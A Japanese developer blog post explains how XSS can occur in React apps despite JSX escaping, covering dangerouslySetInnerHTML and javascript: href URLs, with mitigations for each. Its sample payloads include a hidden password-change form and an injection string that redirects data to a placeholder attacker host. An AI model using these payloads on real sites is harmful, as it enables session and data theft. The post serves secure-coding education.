LoginSignup
44
25

More than 3 years have passed since last update.

Reactで発生しうるXSS脆弱性

Last updated at Posted at 2020-11-07

JSX内の式埋め込みでは、基本的にHTMLとして解釈されないようエスケープされます。ですが、危険性がゼロなわけではありません。

Reactの標準エスケープ

App.jsx
const App = () => {
  const userInputText1 = `<script>alert("XSS!")</script>`;
  const userInputText2 = `<div>DIV!</div>`;

  return (
    <div>
      {userInputText1}
      {userInputText2}
    </div>
  );
}

結果

正しくエスケープされている

スクリーンショット 2020-11-07 13.36.28.png

XSSの発生パターン

1. dangerouslySetInnerHTMLの利用

React公式のエスケープを無効化するオプションです。基本的に使いませんが、どうしてもHTMLとして認識させたい場合などに利用するそうです。

App.jsx
const App = () => {
  const userInputText1 = `<script>alert("XSS!")</script>`;
  const userInputText2 = `<div>DIV!</div>`;
  const userInputText3 = '
    <form action="http://api.example.com/change_password" method="POST">
      <input type="hidden" name="password" value="hack" />
      <input type="submit" value="これ見て!" />
    </form>
  ';
  const userInputText4 = `<iframe src="https://qiita.com"></iframe>`;

  return (
    <div>
      <div dangerouslySetInnerHTML={{ __html: userInputText1 }} />
      <div dangerouslySetInnerHTML={{ __html: userInputText2 }} />
      <div dangerouslySetInnerHTML={{ __html: userInputText3 }} />
      <div dangerouslySetInnerHTML={{ __html: userInputText4 }} />
    </div>
  );
};

結果

タグが適用されている

スクリーンショット 2020-11-07 13.56.38.png

まず、scriptタグは無視されます。これは、ES仕様のとしてinnerHTMLでのscriptが動作しないだけで、他のあらゆる要素は解釈されます。

もちろん、iframeformは正常に表示されてしまいます。この時点でXSRF対策が不十分であったりすると、重大なセキュリティ事故につながります。

対策

使わない。どうしても利用したい場合は、徹底的にエスケープを行う。

2. javascriptスキームの悪用

href属性は、先頭がjavascript:から始まる場合はそれ以降の文字列をjavascriptとして実行します。もちろんwindow.locationオブジェクトへの操作も同様です。

App.jsx
const App = () => {
  const userInputText1 = `javascript: alert('Warning!')`;

  // locationオブジェクトへの操作も同様
  // window.location.href = userInputText1;

  return (
    <div>
      <a href={`${userInputText1}/edit`}>link</a>
    </div>
  );
};

結果

javascriptが実行されてしまっている

スクリーンショット 2020-11-07 15.16.59.png

対策

先頭からユーザーが決められる文字列を挿入しない。そもそも先頭に/をつける。

<a href={`/${userInputText1}/edit`}>link</a>

基本はサーバーの生成する一意のIDやランダム文字列を識別子として扱うように設計すると安全な気がします。(例えばユーザー名に/などの記号が紛れ込んでしまっていても、意図しない遷移先に書き換えられる恐れがあるので)

hrefの最悪な使い方

極端ですが、こんなことをした日には、Reactエンジニア失格です...。普通にonClickを使いましょう。

jsx
const App = () => {
  // 悪意のある値
  const userInput = "');location.href = 'http://attack.example.com?data=secret_data';//";

  const hrefAction = `
    alert('${userInput}');
  `;

  return (
    <div>
      <a href={`javascript:${hrefAction}`}>link</a>
    </div>
  );
};

終わりに

ご指摘等あれば、コメントよろしくお願いします。

44
25
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
44
25